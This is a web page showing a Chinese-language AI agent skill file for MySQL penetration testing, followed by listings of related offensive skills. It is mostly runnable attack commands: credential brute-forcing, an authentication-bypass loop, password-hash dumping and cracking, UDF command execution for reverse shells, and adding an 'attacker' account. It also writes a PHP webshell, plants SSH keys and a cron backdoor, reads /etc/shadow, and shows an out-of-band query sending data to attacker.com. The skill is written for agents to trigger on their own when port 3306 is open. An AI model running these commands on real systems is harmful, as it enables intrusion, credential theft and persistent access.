skills/exploit/network-service/mysql-pentesting/SKILL.md
MySQL 数据库服务(3306 端口)渗透测试方法论。涵盖 MySQL 服务发现与版本识别、默认凭据与匿名访问测试、数据库枚举、权限提升(UDF/文件读写/命令执行)、MySQL 注入利用、已知漏洞利用。 当 Agent 扫描发现 3306 端口开放、需要测试 MySQL 认证强度、枚举数据库内容、或通过 MySQL 实现命令执行时,触发此 Skill。
npx skillsauth add wgpsec/AboutSecurity mysql-pentestingInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
发现 3306 端口开放
├─ Phase 1: 服务发现与版本识别
│ ├─ 确定 MySQL/MariaDB 版本
│ ├─ 识别操作系统与运行用户
│ └─ 检测 secure_file_priv / local_infile 配置
├─ Phase 2: 认证测试
│ ├─ 匿名/空密码登录
│ │ ├─ 成功 -> 直接进入 Phase 3
│ │ └─ 失败 -> 默认凭据 -> 暴力破解
│ ├─ 默认凭据 (root:空, root:root, root:toor 等)
│ └─ CVE-2012-2122 认证绕过 (MariaDB/MySQL 5.1.x)
├─ Phase 3: 数据库枚举
│ ├─ 库/表/列枚举 (information_schema)
│ ├─ 权限枚举 (SHOW GRANTS / mysql.user)
│ │ ├─ FILE 权限 -> 进入 Phase 4 文件读写
│ │ ├─ SUPER 权限 -> 进入 Phase 4 UDF
│ │ └─ 普通权限 -> 提取敏感数据,尝试密码复用
│ └─ 用户哈希提取 (mysql.user / mysql_hashdump)
├─ Phase 4: 权限提升
│ ├─ UDF 提权 (lib_mysqludf_sys)
│ │ ├─ Linux: .so 加载 -> sys_exec()
│ │ └─ Windows: .dll 加载 -> sys_exec() / NTFS ADS 目录创建
│ ├─ 文件读写
│ │ ├─ LOAD_FILE() 读取系统文件
│ │ ├─ INTO OUTFILE 写入 Webshell / .pth payload
│ │ └─ LOAD DATA LOCAL INFILE (客户端文件读取)
│ └─ MySQL 客户端 Shell (\! sh)
├─ Phase 5: MySQL 注入利用
│ ├─ UNION 注入 -> 信息泄露 / 文件读写
│ ├─ 带外注入 -> LOAD_FILE() + DNS/HTTP 外带
│ └─ Rogue MySQL Server -> 客户端文件窃取
└─ Phase 6: 已知漏洞
├─ CVE-2012-2122 — 认证绕过 (memcmp timing)
├─ CVE-2023-21971 — JDBC propertiesTransform RCE
└─ Rogue/Fake MySQL Server 攻击 JDBC 客户端
# Nmap 服务版本探测 + MySQL 专项脚本
nmap -sV -p 3306 --script mysql-info,mysql-enum <IP>
# Nmap 全量 MySQL 脚本扫描
nmap -sV -p 3306 --script "mysql-*" <IP>
msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS <IP>; run; exit'
识别 MySQL 运行身份
├─ 本地 Shell 已获取
│ ├─ cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep "user"
│ ├─ systemctl status mysql | grep "user"
│ └─ ps aux | grep mysql
└─ 仅 MySQL 连接
├─ SELECT @@version, @@datadir, @@basedir;
├─ SHOW VARIABLES LIKE 'secure_file_priv';
├─ SHOW VARIABLES LIKE 'local_infile';
└─ SHOW VARIABLES LIKE 'plugin_dir';
关键判断:
secure_file_priv 为空 -> 可任意路径读写文件local_infile 启用 -> LOAD DATA LOCAL 可用,也暴露 Rogue Server 攻击面尝试连接 MySQL
├─ 1) 匿名/空密码
│ ├─ mysql -h <IP> -u root
│ ├─ mysql -h <IP> -u root@localhost
│ └─ Nmap: nmap --script mysql-empty-password -p 3306 <IP>
├─ 2) 默认凭据
│ ├─ root:(空) / root:root / root:toor / root:mysql
│ ├─ admin:admin / test:test / guest:guest
│ └─ debian-sys-maint:(从 /etc/mysql/debian.cnf 获取)
├─ 3) CVE-2012-2122 认证绕过
│ ├─ MariaDB / MySQL 5.1.x 受影响
│ ├─ 原理: memcmp 返回值截断,约 1/256 概率绕过
│ ├─ Nmap: nmap --script mysql-vuln-cve2012-2122 -p 3306 <IP>
│ └─ Metasploit: auxiliary/scanner/mysql/mysql_authbypass_hashdump
├─ 4) 暴力破解
│ ├─ hydra -t 4 -l root -P wordlist.txt <IP> mysql
│ └─ Metasploit: auxiliary/scanner/mysql/mysql_login
└─ 5) 本地提权路径
├─ /etc/mysql/debian.cnf 明文密码
├─ ~/.my.cnf / ~/.mylogin.cnf 凭据文件
└─ auth_socket / unix_socket 插件 -> 本地 socket 无密码登录
当已获取目标 Shell 时,本地 socket 是最快的突破口:
# 检测 socket 文件
ls -l /run/mysqld/mysqld.sock /var/run/mysqld/mysqld.sock 2>/dev/null
# 检测凭据文件
ls -l /etc/mysql/debian.cnf ~/.my.cnf ~/.mylogin.cnf 2>/dev/null
# auth_socket 插件 -> OS 用户直接映射为 DB 用户
mysql -S /run/mysqld/mysqld.sock -u root -e \
"SELECT user,host,plugin FROM mysql.user;" 2>/dev/null
# 连接后执行
show databases;
use <database>;
show tables;
describe <table_name>;
select version();
select user();
select database();
检查当前权限
├─ SHOW GRANTS FOR CURRENT_USER();
├─ SELECT * FROM mysql.user WHERE user=CURRENT_USER();
├─ 检查 FILE 权限
│ ├─ SELECT user,file_priv FROM mysql.user WHERE file_priv='Y';
│ ├─ 有 -> 标记进入 Phase 4 文件读写
│ └─ 无 -> 尝试其他提权路径
├─ 检查 SUPER 权限
│ ├─ SELECT user,Super_priv FROM mysql.user WHERE Super_priv='Y';
│ ├─ 有 -> 标记进入 Phase 4 UDF
│ └─ 无 -> 检查 CREATE/INSERT 等组合权限
└─ 自定义函数检查
├─ SELECT routine_name FROM information_schema.routines WHERE routine_type='FUNCTION' AND routine_schema!='sys';
└─ 存在非系统函数 -> 可能已有 UDF 后门
# 从 MySQL 内部提取
SELECT user,authentication_string FROM mysql.user;
# Metasploit 自动化
msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS <IP>; set USERNAME root; set PASSWORD <pass>; run; exit'
# 从本地文件提取 (已获 Shell)
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS <IP>; set USERNAME root; set PASSWORD <pass>; run; exit'
msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS <IP>; set USERNAME root; set PASSWORD <pass>; run; exit'
MySQL 以高权限运行 + 拥有 FILE/SUPER 权限
├─ 获取 plugin_dir 路径
│ └─ SHOW VARIABLES LIKE '%plugin%';
├─ 获取 UDF 库文件
│ ├─ sqlmap: locate "*lib_mysqludf_sys*"
│ ├─ Metasploit: locate "*lib_mysqludf_sys*"
│ └─ 手动编译 raptor_udf2.c
├─ Linux (.so)
│ ├─ 通过 table blob 中转写入 plugin_dir
│ ├─ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.so';
│ └─ SELECT sys_exec('reverse shell command');
├─ Windows (.dll)
│ ├─ 同上,使用 .dll 文件
│ ├─ plugin_dir 不存在? -> NTFS ADS 创建目录
│ │ └─ SELECT 1 INTO OUTFILE 'C:\\path\\plugin::$INDEX_ALLOCATION';
│ └─ SELECT sys_exec("net user attacker P@ss /add");
└─ 利用后清理
└─ DROP FUNCTION sys_exec;
-> 读 references/mysql-techniques.md 获取完整 UDF 步骤
拥有 FILE 权限 + secure_file_priv 不限制
├─ 读取文件
│ ├─ SELECT LOAD_FILE('/etc/passwd');
│ ├─ SELECT LOAD_FILE('/etc/shadow'); # 需 mysql 用户有读权限
│ └─ SELECT LOAD_FILE('/var/lib/mysql-files/key.txt');
├─ 写入文件
│ ├─ Webshell
│ │ └─ SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/shell.php';
│ ├─ Python .pth RCE
│ │ ├─ 写入 .pth 到 site-packages 目录
│ │ ├─ .pth 中 import 语句自动执行
│ │ └─ 触发: 请求任意 Python CGI 脚本
│ ├─ SSH 公钥写入
│ │ └─ SELECT "<pubkey>" INTO OUTFILE '/root/.ssh/authorized_keys';
│ └─ Cron Job 写入
│ └─ SELECT "* * * * * root reverse_shell" INTO OUTFILE '/etc/cron.d/backdoor';
├─ 二进制数据写入
│ ├─ CONVERT(unhex("..."), BINARY)
│ └─ CONVERT(from_base64("..."), BINARY)
└─ 限制
├─ INTO OUTFILE 不能覆盖已有文件
└─ 路径相对于 MySQL CWD,可用 ../../ 前缀调整
Rogue MySQL Server 攻击
├─ 原理: LOAD DATA LOCAL 时服务端可指定客户端读取任意文件
├─ 前提: 客户端 local_infile=ON (许多客户端默认开启)
├─ 工具
│ ├─ Rogue-MySql-Server (Python)
│ └─ mysql-fake-server (Java)
├─ 攻击流程
│ ├─ 启动 Rogue Server 监听 3306
│ ├─ 诱使目标连接 (DNS 劫持 / 配置篡改)
│ └─ 自动读取客户端本地文件 (/etc/passwd 等)
└─ JDBC 扩展
├─ allowLoadLocalInfile=true -> 文件读取
└─ autoDeserialize=true -> 反序列化 RCE
# 已连接到 MySQL 后,直接获取当前用户 Shell
\! sh
\! bash
\! id
发现 MySQL 注入点
├─ UNION 注入
│ ├─ 确定列数: ORDER BY 递增 / UNION SELECT NULL,NULL,...
│ ├─ 信息收集: version(), user(), database()
│ ├─ 数据提取
│ │ ├─ UNION SELECT table_name FROM information_schema.tables
│ │ └─ UNION SELECT column_name FROM information_schema.columns WHERE table_name='...'
│ └─ 文件操作 (需 FILE 权限)
│ ├─ UNION SELECT LOAD_FILE('/etc/passwd')
│ └─ UNION SELECT ... INTO OUTFILE '/path/shell.php'
├─ 报错注入
│ ├─ extractvalue(1, concat(0x7e, (SELECT ...)))
│ └─ updatexml(1, concat(0x7e, (SELECT ...)), 1)
├─ 盲注
│ ├─ 布尔盲注: AND (SELECT ...) = 1
│ └─ 时间盲注: AND IF(..., SLEEP(5), 0)
├─ 带外注入 (OOB)
│ └─ SELECT LOAD_FILE(concat('\\\\', (SELECT ...), '.attacker.com\\a'));
└─ 空格绕过
├─ /**/ 注释替换
├─ /*!*/ 版本注释
└─ %09 / %0a / %0d 替代空格
MySQL 版本已知
├─ MySQL 5.1.x / MariaDB 特定版本
│ └─ CVE-2012-2122 认证绕过
│ ├─ 检测: nmap --script mysql-vuln-cve2012-2122 -p 3306 <IP>
│ └─ 利用: for i in $(seq 1 1000); do mysql -u root --password=bad -h <IP> 2>/dev/null; done
├─ MySQL Connector/J <= 8.0.32
│ └─ CVE-2023-21971 (propertiesTransform RCE)
│ ├─ 前提: 可控制 JDBC 连接字符串
│ └─ 利用: jdbc:mysql://<IP>:3306/test?propertiesTransform=com.evil.Evil
├─ 客户端连接 JDBC
│ ├─ allowLoadLocalInfile=true -> Rogue Server 文件读取
│ └─ autoDeserialize=true -> Rogue Server 反序列化 RCE
├─ Windows 目标
│ └─ Metasploit: exploit/windows/mysql/mysql_start_up (凭据执行)
└─ 通用检测
└─ nmap -sV -p 3306 --script mysql-vuln* <IP>
提取到 MySQL 哈希
├─ mysql_native_password (MySQL 5.x)
│ ├─ Hashcat: hashcat -m 300 hashes.txt wordlist.txt
│ └─ John: john --format=mysql-sha1 hashes.txt
├─ caching_sha2_password (MySQL 8.x)
│ ├─ Hashcat: hashcat -m 21100 hashes.txt wordlist.txt
│ └─ John: john --format=mysql-sha2 hashes.txt
└─ 旧版 MySQL 3.x/4.x
└─ Hashcat: hashcat -m 200 hashes.txt wordlist.txt
获取 Shell 后对 MySQL 配置的快速审计:
| 检查项 | 风险说明 |
|-------|---------|
| secure_file_priv = "" | 允许任意路径文件读写 |
| local_infile = ON | LOAD DATA LOCAL 可用,Rogue Server 攻击面 |
| MySQL 以 root 运行 | UDF 提权直接获取系统 root |
| /etc/mysql/debian.cnf 可读 | 含 debian-sys-maint 明文密码 |
| ~/.my.cnf / ~/.mylogin.cnf 存在 | 含用户凭据 |
| auth_socket 插件启用 | 本地 socket 无密码登录 |
| skip-networking 未设置 | 远程连接可用 |
Linux
├─ /etc/my.cnf
├─ /etc/mysql/my.cnf
├─ /var/lib/mysql/my.cnf
├─ ~/.my.cnf
├─ ~/.mysql_history # 命令历史
└─ /var/lib/mysql/mysql/user.MYD # 用户哈希
Windows
├─ C:\Windows\my.ini
├─ C:\MySQL\data\
└─ <InstDir>\mysql\data\
-> 读 references/mysql-techniques.md 获取完整技术细节与命令参考
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能